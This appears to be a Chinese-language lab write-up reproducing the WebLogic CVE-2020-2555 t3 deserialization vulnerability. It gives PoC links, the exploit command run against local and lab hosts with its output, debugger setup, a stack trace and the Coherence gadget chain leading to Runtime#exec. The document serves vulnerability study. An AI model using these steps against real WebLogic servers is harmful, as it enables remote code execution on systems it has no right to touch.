PoC:
https://github.com/Y4er/CVE-2020-2555/blob/master/CVE-2020-2555.java
影响版本:
3.7.1.17, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0
参考:
https://nvd.nist.gov/vuln/detail/CVE-2020-2555
这个weblogic t3协议发包工具可以用来对weblogic基于t3协议触发的反序列化漏洞进行利用:
发送t3数据包可以使用
https://github.com/Y4er/CVE-2020-2555/blob/master/weblogic_t3.py
传入被反序列化对象的文件名即可:
$ python2 weblogic_t3.py 127.0.0.1 7001 CVE-2020-2555.ser [15:33:15]
[+] Connecting to 127.0.0.1 port 7001
sending "t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001
"
received "HELO:12.1.3.0.0.false
AS:2048
HL:19
MS:10000000
"
[+] Sending payload...
received ""
ser文件中包含的执行的命令是:
/bin/touch /tmp/test_for_weblogic
也可以用:
https://github.com/Coalfire-Research/java-deserialization-exploits/blob/master/WebLogic/weblogic.py
用南哥那个环境搭建工具,弄了一下没成功,不知道是不是coherence.jar包的问题。
据说不是默认配置?不过学习了使用t3协议发送发序列化对象数据的方式。
参考:
不过后来用windows安装之后,利用成功了。
python2 weblogic_t3.py 192.168.170.248 7001 CVE-2020-2555_cmd_c_calc.ser
以上环境:
jdk :1.7.0_79
weblogic:fmw_12.1.3.0.0_wls.jar
以上环境:
jdk :1.7.0_80
weblogic:fmw_12.1.3.0.0_wls.jar
Windows 10 Enterprise
然后coherence.jar包存在于这些地方:
尝试使用默认选项进行安装:
这两个选项我都没选,利用也成功了。
coherence.jar包的位置:
我以为只有选择“含示例的完整安装”才会有,原来默认状态安装也会有。
参考南哥的weblogic设置断点的代码:
https://github.com/QAX-A-Team/WeblogicEnvironment/blob/master/scripts/open_debug_mode.sh
Windows需要在
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin\setDomainEnv.cmd
恰当的位置加上一行代码:
set debugFlag=true
端口:8453
在IDEA中配置好相应的jar包,
在 javax/management/BadAttributeValueExpException#readObject
下断点。
居然调试进来了:
看一下调用栈(并没有很长):
readObject:69, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1798, ObjectInputStream (java.io)
readObject0:1350, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
(插一句)从这里
weblogic/socket/BaseAbstractMuxableSocket#dispatch
开始处理t3协议:
然后跟一下这个gadget chain的流程吧,
gadget chain:
javax.management.BadAttributeValueExpException#readObject()->
coherence.jar!com.tangosol.util.filter.LimitFilter#toString()->
coherence.jar!com.tangosol.util.extractor.ChainedExtractor#extract()->
coherence.jar!com.tangosol.util.extractor.ReflectionExtractor#extract()->
Method#invoke()->
...
coherence.jar!com.tangosol.util.extractor.ReflectionExtractor#extract()->
Method#invoke()->
Runtime#exec()
coherence.jar!/com/tangosol/util/extractor/ChainedExtractor#extract
在这里进行循环:oTarget
对象循环被赋值,最终变成Runtime对象
最终执行到:
难道我F8按快了,这么多计算器?
原理分析及PoC构造参考: